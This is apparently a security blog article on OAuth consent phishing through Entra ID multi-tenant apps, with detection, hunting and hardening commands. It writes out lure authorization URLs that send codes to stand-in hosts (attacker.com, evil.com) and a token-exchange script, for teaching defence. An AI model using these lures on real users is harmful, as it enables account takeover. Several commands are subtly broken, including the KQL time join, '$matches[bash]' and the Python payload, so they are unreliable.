Listen to this Post
Introduction:
Modern phishing has evolved beyond fake login pages. Attackers now weaponize legitimate Entra ID (formerly Azure AD) application registrations and OAuth 2.0 authorization flows to harvest tokens, bypass multi-factor authentication (MFA), and gain persistent access to cloud environments. This article dissects the full attack cycle—from malicious multi-tenant app registration to consent abuse and redirection manipulation—and provides actionable detection, hardening, and threat hunting techniques for security teams.
Learning Objectives:
- Understand how attackers abuse Entra ID application registrations and OAuth parameters (redirect_uri, prompt=none, consent) to perform credential harvesting and token theft.
- Implement defensive controls such as consent policies, tenant restrictions, and monitoring for anomalous OAuth activity.
- Build threat hunting queries using Entra ID audit logs, error code 65001, and correlation techniques to detect OAuth phishing in progress.
You Should Know:
- Anatomy of an OAuth Phishing Attack Using Entra ID App Registrations
Attackers begin by registering a multi-tenant application in their own Entra ID tenant. They configure legitimate-looking redirect URIs (e.g., `https://app.victim.com/callback`) but later abuse OAuth’s redirect behavior to send victims to attacker-controlled infrastructure. The victim is tricked into authorizing the malicious app, granting OAuth tokens or authorization codes.
Step‑by‑step breakdown:
- Step 1 – Malicious app registration: Attacker creates an app in their tenant with `signInAudience` set to `AzureADMultipleOrgs` (multi-tenant).
- Step 2 – Lure generation: The attacker crafts a login URL:
`https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=&response_type=code&redirect_uri=https://attacker.com/callback&scope=openid%20profile%20User.Read` - Step 3 – User interaction: Victim clicks the link, authenticates to Microsoft (legit login page), and sees a consent screen. If the victim approves, Microsoft sends an authorization code to the attacker’s
redirect_uri. - Step 4 – Token exchange: Attacker exchanges the code for refresh and access tokens, gaining access to victim’s data.
Commands to inspect Entra ID app registrations (Azure CLI):
List all applications in your tenant
az ad app list --all --query "[].{displayName:displayName, appId:appId, signInAudience:signInAudience}" --output table
Check for multi-tenant apps
az ad app list --all --query "[?signInAudience=='AzureADMultipleOrgs']" --output table
Windows PowerShell (AzureAD module):
Connect-AzureAD
Get-AzureADApplication | Where-Object {$_.SignInAudience -eq "AzureADMultipleOrgs"} | Select-Object DisplayName, AppId
- Abusing the `redirect_uri` Parameter for Open Redirect and Phishing
OAuth allows flexible redirect URIs. Attackers register an app with a seemingly benign redirect (e.g., https://trusted-app.com/oauth/callback`) but later modify the authorization request to point to `https://attacker.com/steal`. If the app’s redirect URI validation is weak (e.g., prefix matching), this can succeed. Even with strict validation, attackers use “error redirects” where the OAuth error page contains a JavaScript redirect to a phishing site.
Step‑by‑step exploitation:
- Register an app with `https://login.microsoftonline.com/common/oauth2/nativeclient` as a redirect URI (allowed by default).
- Craft a login URL withredirect_uri=https://login.microsoftonline.com/common/oauth2/nativeclienthttps://evil.com`. The fragment is not sent to Microsoft, but the browser loads `evil.com` after authentication.
– Alternative: Use `prompt=none` to attempt silent authentication; if the victim has an active session, tokens are sent to attacker’s redirect.
Mitigation commands – Configure allowed redirect URIs via Azure CLI:
Update an app to restrict redirect URIs az ad app update --id <app-id> --web-redirect-uris "https://yourdomain.com/callback" "https://yourdomain.com/oauth2" Disable implicit grant flow if not needed az ad app update --id <app-id> --set web.implicitGrantSettings.enableAccessTokenIssuance=false web.implicitGrantSettings.enableIdTokenIssuance=false
- Detecting OAuth Phishing with Entra ID Logs and Error Code 65001
Successful OAuth phishing often leaves traces: failed token requests, unusual `redirect_uri` values, or error 65001 (“The user or administrator has not consented to use the application”). Attackers may trigger this error when a victim has not yet consented. Monitoring for rapid sequences of 65001 followed by a successful consent is a strong indicator.
Step‑by‑step hunting:
- Step 1 – Collect Entra ID sign-in logs (Azure portal → Entra ID → Sign-in logs) or export via Log Analytics.
- Step 2 – Filter for `errorCode:65001` and correlate with `appId` and
userPrincipalName. - Step 3 – Look for the same `appId` appearing with a successful `consentGranted` event within minutes.
KQL query for Microsoft Sentinel / Log Analytics:
SigninLogs | where ErrorCode == 65001 | project TimeGenerated, UserPrincipalName, AppId, AppDisplayName, CorrelationId | join kind=inner ( AuditLogs | where OperationName == "Consent to application" | project TimeGenerated, TargetResources, CorrelationId ) on CorrelationId | where TimeGenerated_diff < 5m
Linux command to simulate OAuth request and observe error codes (using curl):
Request an authorization code (will likely fail without consent) curl -v "https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=<attacker_app_id>&response_type=code&redirect_uri=https://attacker.com&scope=User.Read" Check response for error=consent_required or error_description containing 65001
- Hardening Entra ID Against Multi‑Tenant Application Consent Attacks
Default settings allow users to consent to multi-tenant apps. Attackers exploit this to gain access without admin approval. Implement user consent settings, admin consent workflows, and tenant restrictions.
Step‑by‑step hardening:
- Disable user consent for low‑risk apps: Azure portal → Entra ID → Enterprise applications → User consent settings → Set to “Do not allow user consent” or “Allow user consent for apps from verified publishers only”.
- Enable admin consent request workflow: Allows users to request approval; admins can review and block malicious apps.
- Restrict multi-tenant inbound access: Use cross-tenant access settings to block or limit inbound app registrations.
PowerShell to disable user consent (requires Global Admin):
Connect to Microsoft Graph
Connect-MgGraph -Scopes Policy.ReadWrite.Authorization
Get current authorization policy
$policy = Get-MgPolicyAuthorizationPolicy
Disable user consent for apps
$policy.PermissionGrantPolicyIdsAssignedToDefaultUserRole = @("ManagePermissionGrantsForSelf.microsoft-user-default-legacy")
Update-MgPolicyAuthorizationPolicy -BodyParameter $policy
Azure CLI equivalent:
This feature is managed via portal or Graph API – CLI example to list consent policies az rest --method GET --uri "https://graph.microsoft.com/v1.0/policies/permissionGrantPolicies"
- Threat Hunting for OAuth Redirection Abuse Using Network Logs
Once the attacker obtains an authorization code, they exchange it for tokens from Microsoft’s token endpoint. This generates traffic to `login.microsoftonline.com` and graph.microsoft.com. Hunting for anomalous `redirect_uri` parameters in HTTP referrers or proxy logs can reveal the attack.
Step‑by‑step hunting:
- Collect proxy/firewall logs where `login.microsoftonline.com` is accessed with a `redirect_uri` that does not match your organization’s registered domains.
- Use regular expressions to extract `redirect_uri` values from GET requests to
/common/oauth2/v2.0/authorize. - Compare against a whitelist of approved redirect URIs from your Entra ID app registrations.
Linux command to extract redirect URIs from a pcap file:
tshark -r traffic.pcap -Y "http.request.uri contains \"redirect_uri\"" -T fields -e http.request.uri | grep -oP 'redirect_uri=\K[^&]' | sort | uniq -c
Windows PowerShell (from IIS logs):
Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log" | Select-String "login.microsoftonline.com" | ForEach-Object { if ($_ -match "redirect_uri=([^&]+)") { $matches[bash] } } | Sort-Object -Unique
- API Security: Hardening OAuth 2.0 Flows for Custom Applications
If your organization develops applications using OAuth, ensure you validate `redirect_uri` exactly (no prefix matching), use PKCE (Proof Key for Code Exchange), and enforce token binding to prevent code interception.
Step‑by‑step implementation:
- Enforce PKCE for all public clients (SPAs, mobile apps). PKCE ensures that even if an authorization code is intercepted, it cannot be exchanged without the original
code_verifier. - Use `S256` code challenge method (SHA-256) instead of plain.
- Validate `redirect_uri` as a complete string match – do not allow subdomain wildcards unless absolutely necessary.
Example OAuth request with PKCE (Linux curl):
Generate code_verifier and code_challenge code_verifier=$(openssl rand -base64 32 | tr -d '\n=' | tr '+/' '-<em>') code_challenge=$(echo -n "$code_verifier" | openssl dgst -sha256 -binary | base64 | tr -d '\n=' | tr '+/' '-</em>') Auth request curl "https://login.microsoftonline.com/your-tenant-id/oauth2/v2.0/authorize?client_id=YOUR_CLIENT_ID&response_type=code&redirect_uri=https://yourapp.com/callback&code_challenge=$code_challenge&code_challenge_method=S256&scope=openid"
- Simulating an OAuth Phishing Attack for Purple Teaming
To test your defenses, set up a controlled OAuth phishing simulation using a test tenant and a benign “consent phishing” app that requests only low‑privilege scopes (e.g., openid profile). Monitor your detection stack.
Step‑by‑step simulation:
- Register a multi-tenant app in a test Entra ID tenant.
- Configure redirect URI to a simple HTTPS endpoint you control (e.g., using
ngrok). - Send the authorization URL to a test user and observe the consent prompt.
- Capture the authorization code and exchange it for tokens.
- Verify that your SIEM alerts on new OAuth consent grant, especially for external multi-tenant apps.
Python script to exchange code for tokens (for authorized testing only):
import requests
code = "AUTHORIZATION_CODE_FROM_REDIRECT"
token_url = "https://login.microsoftonline.com/common/oauth2/v2.0/token"
payload = {
"client_id": "YOUR_APP_ID",
"grant_type": "authorization_code",
"code": code,
"redirect_uri": "https://your-ngrok-url.ngrok.io/callback",
"client_secret": "YOUR_CLIENT_SECRET" for confidential clients
}
response = requests.post(token_url, data=payload)
print(response.json())
What Undercode Say:
- Key Takeaway 1: OAuth phishing bypasses traditional MFA because tokens are issued after a legitimate authentication event. Monitoring for anomalous app consent grants and `redirect_uri` mismatches is critical.
- Key Takeaway 2: Entra ID’s default user consent settings are a massive risk. Organizations must restrict user consent to verified publishers or require admin approval for all multi-tenant apps.
Analysis: The shift from credential theft to token-based compromise represents a fundamental change in identity attacks. Attackers no longer need passwords – they need one click on a consent screen. Defenders must treat OAuth consent as a high‑risk operation, implement continuous monitoring of service principal creation, and train users to recognize consent prompts as dangerous as password prompts. The lack of visibility into OAuth token reuse across tenants is a blind spot that only robust logging and behavioral analytics can address.
Prediction:
By 2027, OAuth-based phishing will surpass traditional password phishing as the primary initial access vector for cloud compromises. Microsoft and other IdPs will be forced to introduce “consent fatigue” protections – such as requiring admin approval for any app requesting more than basic profile scopes, regardless of user consent settings. Additionally, we will see the rise of “OAuth-aware” EDR agents that monitor token issuance and revocation in real time, automatically blocking anomalous token exchanges based on device posture and geolocation. Organizations that fail to implement tenant restrictions and consent workflows today will face inevitable account takeovers via seemingly “legitimate” OAuth apps.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Kondah Les – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
